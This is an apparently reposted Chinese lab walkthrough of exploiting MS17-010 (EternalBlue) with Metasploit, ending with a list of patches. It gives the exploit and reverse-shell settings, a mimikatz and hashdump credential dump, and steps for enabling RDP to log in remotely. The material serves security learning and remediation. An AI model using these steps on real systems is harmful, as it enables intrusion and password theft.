永恒之蓝漏洞复现(包括常见问题处理)和修复方案
Posted sinat_27757177
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了永恒之蓝漏洞复现(包括常见问题处理)和修复方案相关的知识,希望对你有一定的参考价值。
本文讲解有关MS17-010(永恒之蓝)漏洞分析与复现
1.永恒之蓝简介
1、永恒之蓝介绍:
永恒之蓝漏洞(MS17-010),它的爆发源于 WannaCry 勒索病毒的诞生,该病毒是不法分子利用NSA(National Security Agency,美国国家安全局)泄露的漏洞 “EternalBlue”(永恒之蓝)进行改造而成 。勒索病毒的肆虐,俨然是一场全球性互联网灾难,给广大电脑用户造成了巨大损失。据统计,全球100多个国家和地区超过10万台电脑遭到了勒索病毒攻击、感染。
2、漏洞原理:
永恒之蓝漏洞通过 TCP 的445和139端口,来利用 SMBv1 和 NBT 中的远程代码执行漏洞,通过恶意代码扫描并攻击开放445文件共享端口的 Windows 主机。只要用户主机开机联网,即可通过该漏洞控制用户的主机。不法分子就能在其电脑或服务器中植入勒索病毒、窃取用户隐私、远程控制木马等恶意程序。
3、影响版本:
目前已知受影响的 Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。
————————————————
版权声明:本文为CSDN博主「未完成的歌~」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_43531669/article/details/120375506
2.靶场环境准备
靶机:windows 7 Service Pack1
攻击机:Kali GNU/Linux Rolling
3.漏洞复现
1.检查靶机(win7)的防火墙是否关闭
2.检查靶机(win7)开启远程桌面
3.开始攻击:执行漏洞扫描(包括探测445端口和扫描永恒之蓝ms-170漏洞)
可以看到ms170漏洞端口445目前是开启状态,而永恒之蓝利用的就是445端口的SMB服务,操作系统溢出漏洞。
使用MSF的永恒之蓝漏洞模块,对靶机进行扫描
打开MSF:msfconsole
搜索 ms17-010 代码:search ms17_010
从扫描结果可以看出,结果里得到一些工具,其中:
auxiliary/scanner/smb/smb_ms17_010 是永恒之蓝扫描模块, exploit/windows/smb/ms17_010_eternalblue 是永恒之蓝攻击模块。
本次流程是先扫描探测漏洞,然后进行漏洞利用。
使用ms-170进行漏洞扫描,流程如下:
1.使用模块use exploit/windows/smb/ms17_010_eternalblue
2.设置靶机ip set rhosts 192.168.3.121
3.设置靶机端口 set rport 445(默认就是445,如果nmap探测bios端口不是445的话,请变更)
输入show options可查看配置
然后输入exploit或者run,执行模块
可以看到扫描结果中:Host is likely VULNERABLE to MS17-010! - Windows 7 Enterprise 7601
和靶场的操作系统是完全吻合的。
下一步:漏洞利用,使用ms17-010攻击模块,对靶机进行攻击
之前使用的是扫描模块auxiliary/scanner/smb/smb_ms17_010
现在使用漏洞利用模块exploit/windows/smb/ms17_010_eternalblue
1.use exploit/windows/smb/ms17_010_eternalblue
2.设置靶机ip和攻击机ip(接收反弹的shell)
set rhosts 192.168.3.121 靶机ip
set lhost 192.168.3.50 攻击机kali ip
set lport 903 攻击机kali 监听端口
然后输入show option查看配置
执行攻击:exploit 或 run
可以看到已经在kali机上生成一个靶机的shell交互界面
输入ipconfig
数字正常显示,但是部分英文字符乱码,此时输入chcp 65001 可解决乱码问题
到此,永恒之蓝漏洞复现完毕,下一步可以进行内网渗透,横向信息收集等
4.漏洞修复方案
1.关闭bios服务,或开启防火墙,屏蔽服务端口
2.给系统打上永恒之蓝的漏洞修复补丁
MS17010补丁列表
不同版本的操作系统对应的MS17-010补丁编号如下
winxp特别补丁KB4012598
winxp3 32位 Security Update for Windows XP SP3 (KB4012598)
winxp2 64位 Security Update for Windows XP SP2 for x64-based Systems (KB4012598)
win2003特别补丁KB4012598
2003SP2 32位 Security Update for Windows Server 2003 (KB4012598)
2003SP2 64位 Security Update for Windows Server 2003 for x64-based Systems (KB4012598)
win2008R2补丁 KB4012212、KB4012215
March, 2017 Security Only Quality Update for Windows Server 2008 R2 for x64-based Systems (KB4012212)
March, 2017 Security Monthly Quality Rollup for Windows Server 2008 R2 for x64-based Systems (KB4012215)
win7补丁 KB4012212、KB4012215
win7 32位
March, 2017 Security Only Quality Update for Windows 7 (KB4012212)
March, 2017 Security Monthly Quality Rollup for Windows 7 (KB4012215)
win7 64位
March, 2017 Security Only Quality Update for Windows 7 for x64-based Systems (KB4012212)
March, 2017 Security Monthly Quality Rollup for Windows 7 for x64-based Systems (KB4012215)
win10 1607补丁 KB4013429
win10 1607 32位
Cumulative Update for Windows 10 Version 1607 (KB4013429)
win10 1607 64位
Cumulative Update for Windows 10 Version 1607 for x64-based Systems (KB4013429)
win2012R2补丁 KB4012213、KB4012216
March, 2017 Security Only Quality Update for Windows Server 2012 R2 (KB4012213)
March, 2017 Security Monthly Quality Rollup for Windows Server 2012 R2 (KB4012216)
win2016补丁 KB4013429
Cumulative Update for Windows Server 2016 for x64-based Systems (KB4013429)
利用虚拟机复现漏洞 “永恒之蓝”
利用虚拟机复现漏洞“永恒之蓝”
攻击:kali Linux 2020.3
靶机:Windows Server 2008 R2 x64
下面详细讲述测试的过程。
——
——
“ 永恒之蓝 ”简介
利用 Windows 系统的 SMB 漏洞可以获取系统最高权限。于 2017 年在全球的范围内大面积爆发,不法分子利用这个漏洞制作了勒索病毒,锁定被攻击的设备,并要求支付高额赎金。
“ 永恒之蓝 ”的原理主要是扫描所有开放 445 文件共享端口的 Windows 机器。
这里进行测试要用到一个工具 MSF ,能快速对目标实现“永恒之蓝”攻击,获取目标对主机的最高权限。
——
——
Metasploit(MSF)简介
Metasploit 是一个免费的、可下载的框架,可以很容易地获取、开发并对计算机软件漏洞实施攻击。
本身附带数千个已知软件漏洞的专业级漏洞攻击工具,当 2003 年 Metasploit 发布时,计算机安全状况就被永久性地改变了,仿佛一夜之间任何人都可以成为黑客。
——
Metasploit 模块介绍
-
Auxiliary 辅助模块
为渗透信息提供了大量的辅助模块支持 -
Exploits 攻击模块
利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,从而获得对远程目标系统访问权的代码组件 -
Payload 攻击载荷模块
攻击成功后促使靶机运行的一段植入代码 -
Post 后渗透攻击模块
收集更多信息或进一步访问被利用的目标系统 -
Encoders 编码模块
将攻击载荷进行编码,来绕过防护软件拦截
——
——
测试漏洞前的准备
连接数据库
kali Linux 中自带 msf 工具。
先开启 postgresql 服务,虽然不那么重要,不过开了之后,可以使用的命令更多。
开启数据库:
service postgresql start
postgresql 也是 kali 机里自带的。
第一次用 postgresql 的话,要进行一些设置。
先登录控制台:
sudo -u postgres psql
----------------------------------------------------------M------------------------------------------------------
这里我一开始使用不了 postgresql 的命令,找了很多解决方法无效,结果发现是语言的问题,我之前把 kali 的语言环境手动设置成了中文,即选择了 zh_CN.UTF8 编码,删除了 en_US.UTF8 的编码,导致现在数据库和系统的语言环境不匹配,出现如下图这样的报错。解决就是把 en_US.UTF8 编码加回来即可。
----------------------------------------------------------W--------------------------------------------------------
然后
修改密码:
CREATE USER admin WITH PASSWORD ‘psql’ NOCREATEDB;
其中用户名 admin 和单引号中的密码 psql 根据自己写。
成功则返回 CREATE ROLE
创建新用户:
CREATE DATABASE msf OWNER admin;
成功则返回 CREATE DATABASE
设置好输入 exit 退出 postgresql 控制台即可。
接下来
开启 msf 控制台:
msfconsole
开启之后看到中间有个图案,这个是随机的,不一定是什么图案。
同时也可以看到我们 metasploit 的版本。
以及这个版本所含有的各模块的数量,比如 2045 个 exploits 模块。
msf 连接 postgresql 数据库 :
db_connect admin:psql@127.0.0.1/msf
并检测是否连接上:
db_status
以后打开并连接数据库的步骤就不用创建用户了,三个步骤走:
开启数据库:service postgresql start
开启 msf 控制台:msfconsole
连接 postgresql 数据库 :db_connect admin:psql@127.0.0.1/msf
--------------------------------------------------------------M---------------------------------------------------------
还有另一个一个方法是前面不进行创建新用户和连接数据库,使用 service postgresql start 之后,再直接用命令 msfdb init 初始化数据库,会自动创建用户名等信息,应该也是可行的。
--------------------------------------------------------------W---------------------------------------------------------
——
msf帮助手册
输入 ? 可以查看 msf 的帮助手册,可以看到有很多命令,我们后面会用到的都在这下面可以看到。
Core Commands :核心命令
Module Commands :模块命令
Job Commands:工作命令
Resource Script Command :脚本命令
Database Backend Commands :数据库命令
这就是为什么前面要开启数据库的原因。
如果没开启数据库,这些命令就用不了。
还有一些发展命令之类的,最后还有一些使用教程。
——
——
进入“永恒之蓝”模块
接下来用 search 命令搜索一下“ 永恒之蓝 ”。
search 就像搜索引擎的功能,可以根据关键字进行搜索。
命令:
search ms17-010
(ms17-010 是“ 永恒之蓝 ”的漏洞编号)
可以看到根据关键字搜索到的结果,前面有编号,跟着名称,名称第一个关键字可以看到是 auxiliary 辅助模块或者是 exploit 攻击模块。搜索到了 2 条辅助模块和 3 条攻击模块。
使用某个模块有两种方法,一个是用 use 接搜索结果中的编号,一个是接名称。
这里要用到上图中编号为 1 的模块,则使用命令为:
use 1
或
use auxiliary/scanner/smb/smb_ms17_010
可以看到这样就进入到这个模块里了。
然后用命令 options 查看我们需要设置什么。
看 Required 一栏中,一般我们要关注的是状态为 yes 的选项,状态为 no 的选项保持默认即可。
这里我们需要注意 RHOST 、RPORT、NAMED_PIPES 、THREADS 这两项。
NAMED_PIPES 路径已经设置好了。
RPORT :445端口
永恒之蓝就是由于 445 端口上的文件共享服务导致的漏洞。
如果文件共享端口被修改了,则这里的这个端口信息也需要进行修改。
THREADS 线程,我们这里测试一个目标,所以一个线程就够了。
RHOSTS :目标主机的地址。
——
——
使用 msf “永恒之蓝”模块
接下来就进行攻击了。
这里用 Windows Server 2008 作为目标测试。
先用命令 ping www.baidu.com 检查一下网络。
没问题之后再看看靶机的 IP ,同时也检查一下靶机的网络。
再从 kali 机 ping 一下靶机 IP,即看下面有没有 64 byte 出现。
一开始我这里 ping 不通,原因是 Windows Server 2008 靶机的防火墙没关,关闭防火墙之后就能连通了。
然后可以用调取 nmap 的命令扫描一下目标的 445 端口有没有开放:
db_nmap 192.168.226.131 -p 445 -v
扫描结果可以看到,445 端口是开放的,服务也对应地上,是微软上的文件共享服务(microsoft-ds)。
——
——
auxiliary 辅助模块使用
前面的 RHOSTS 目标地址还是空的,需要进行设置一下。
这里用一个快速的方法,先用 hosts 命令可以看到我们的目标地址。
然后用命令:
hosts -R
直接让这个 RHOSTS 指向了这个地址。
或者用 set 命令:
set rhost 192.168.226.131
用 iptions 命令验证一下,看到已经设置成功了。
准备都已经做好了,可以用命令 run 直接执行我们已经进入了的这个辅助扫描模块(auxiliary(scanner/smb/smb_ms17_010))。
可以看到扫描结果显示目标很有可能存在 MS17-010 这个漏洞的,并显示了目标的操作系统版本。
——
——
expolit 攻击模块使用
到这里辅助模块的任务就完成了,已经确认了目标非常有可能存在这个漏洞。
接下来就进入 exploit 攻击模块,重新回到上面,选择这个编号为 2 的模块。
使用命令 use 2 进入这个模块,可以看到还默认设置了一个 payload 。
如果没有自动设置 payload 的话,需要手动设置一下。
使用命令 show payloads 就可以看到很多 payload 需要进行进行选择。
进行筛选,定位到 Windows 64 位操作系统;
如果有 meterpreter 就选择这个,功能比较强大;
然后 payload 后面的连接方式,这里选择 tcp 的。
选择好之后,进行设置 payload :
set payload windows/x64/meterpreter
然后用命令 options 看看刚刚进入的 exploit 攻击模块需要我们设置准备写什么。
有目标地址、目标端口、本地地址等信息。
同样用 hosts -R 设置目标地址。
看哪里没设置好就设置哪里。
比如如果这里本地地址是空的,就用命令设置 LHOST :
set lhost 192.168.226.128
设置好之后,用命令 run 执行我们刚刚进入的这个攻击模块。
这样,就已经成功攻击了。当然,不一定每次都攻击成功,可能会不稳定。
目标也会有自我保护的可能,攻击过程中可能直接把目标干关机或者蓝屏。
为了方便,在这样的情况下,可以先在虚拟机提前设置快照,如果被打得关机提醒了,就恢复到前面的快照。
——
——
攻击成功后的命令测试
查看权限
可以看看我们当前在目标机器的权限:
getuid
可以看到已经是 system 系统权限了。
可以说是想干嘛就干嘛了,可以在这里执行命令随意地操作目标机器。
试试进入 shell 。
可以看到执行之后的样子,很熟悉:C:\\Windows\\system32>
就是我们常用的 cmd 命令窗口,在这里直接用 cmd 命令窗口操作目标。
(编码导致的中文乱码可忽略)
看看此时的权限,同样是 system 系统权限。
用 exit 命令退出回到 meterpreter 。
输入 ? 可以查看帮助文档,有很多的命令,这里就不多说了。
——
——
获取目标用户密码
比如这里用帮助文档中的 hashdump 命令查看目标的密码。
密码可以用 md5 在线解码网址解出来。
如果太复杂也可能解不出来,可以通过加载 mimikatz 读取明文密码:
load mimikatz
加载成功后使用命令 wdigest 直接读取密码。
可以看到读取到了用户名为 Administrator 的密码为 2008Server 。
这个的确是我在目标机器上设置的密码。
同时也可以看到这条命令的执行是需要 system 系统权限的。
——
——
远程连接测试
有了用户名和密码就可以直接登录到目标的服务器了。
这里测试一下用远程连接服务登录。
先看看远程连接服务的端口是否开放。
db_nmap 192.168.226.131 -p 3389
看到 3389 端口是关闭的。
如果忘记具体改端口的命令,用关键字搜索一下。
使用命令 use ‘编号’ 进入这个模块;
命令 options 查看哪些信息需要设置,session 项即后台的哪个进程,因为刚刚我们退出了 meterpreter ,是用 background 命令把它放在了后台会话。(后面再说明一下这 background 命令)
命令 set session 1 设置。
命令 run 执行这个刚刚进入开端口的模块。
执行后再看看 3389 端口已经开放了。
选择就可以进行远程登录了,这里我新开一个命令行。
输入:
rdesktop 192.168.226.131
输入 yes ,就打开了远程连接的窗口。
用我们刚刚得到的用户名和密码登录,可以看到就成功登录进入到目标系统了。
同时,本来处于登录状态的目标也被挤下线了。
我这里是在 kali 机中进行远程登录,在知道了用户名密码,3389端口开发的情况下,在物理机 Windows 上等其它电脑上都可以登录。
--------------------------------------------------------------M---------------------------------------------------------
background 命令
可以用 background 命令让当前命令在后台,刚才的会话会保存下来。
用命令 sessions 查看当前的会话,根据 id 可以重新进入,如 sessions 1 重新进入 meterpreter 攻击。
--------------------------------------------------------------W---------------------------------------------------------
到这里,进行漏洞攻击的测试就结束了!
总结:有些坑不得不踩!
以上是关于永恒之蓝漏洞复现(包括常见问题处理)和修复方案的主要内容,如果未能解决你的问题,请参考以下文章